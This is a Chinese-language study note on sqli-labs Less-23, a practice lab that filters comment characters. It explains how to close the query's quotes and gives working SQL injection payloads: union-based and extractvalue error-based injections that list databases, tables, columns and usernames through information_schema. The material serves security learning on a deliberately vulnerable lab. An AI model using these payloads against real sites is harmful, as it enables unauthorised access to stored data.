本文记录 SQL 注入的学习过程,资料为 SQLi
Less - 23: GET - Error based - stip comments
-
测试漏洞
使用测试语句 ?id=1’
http://10.10.10.137/sqli-labs/Less-23/?id=1%27
显示错误信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
说明是基于错误的注入
使用 union 联合查询
http://10.10.10.137/sqli-labs/Less-23/?id=-1'union select 1,@@datadir,'3
源代码中
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
此时的 SQL 语句为
SELECT * FROM users WHERE id='-1' union select 1,@@datadir,’3’ limit 0,1
以上构造的语句需要讲解几个知识点
-
解释:
-
为什么要用 id=-1
因为 sql 语句执行了两个 select 语句,第一个 select 为 id 的选择语句,第二个为我们构造的 select 语句。只有一个数据可以输出,为了让我们自己构造的数据可以正常输出,第一个 select 要没有结果,所以 -1 或者超过数据库所有数据都可以。
-
如何构造
-1’ union select 1,@@datadir,’3,第一个’(单引号)闭合 -1,第二个’(单引号)闭合后面的。这样将查询内容显示在username 处。
-
注入方法
此处可以报错注入, 延时注入, 可以利用 ’ or ‘1’=’1 进行闭合。
报错注入: http://10.10.10.137/sqli-labs/Less-23/?id=1'or extractvalue(1,concat(0x7e,database())) or '1'='
-
-
联合注入猜测数据库
http://10.10.10.137/sqli-labs/Less-23/?id=-1'union select 1,(select group_concat(schema_name) from information_schema.schemata),'3
此处获取的数据库为 security
-
联合注入查看 security 库数据表
http://10.10.10.137/sqli-labs/Less-23/?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3
-
联合注入查看 users 表的所有列
http://10.10.10.137/sqli-labs/Less-23/?id=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),'3
-
联合注入获取内容
http://10.10.10.137/sqli-labs/Less-23/?id=-1'union select 1,(select group_concat(username) from security.users limit 0,1),'3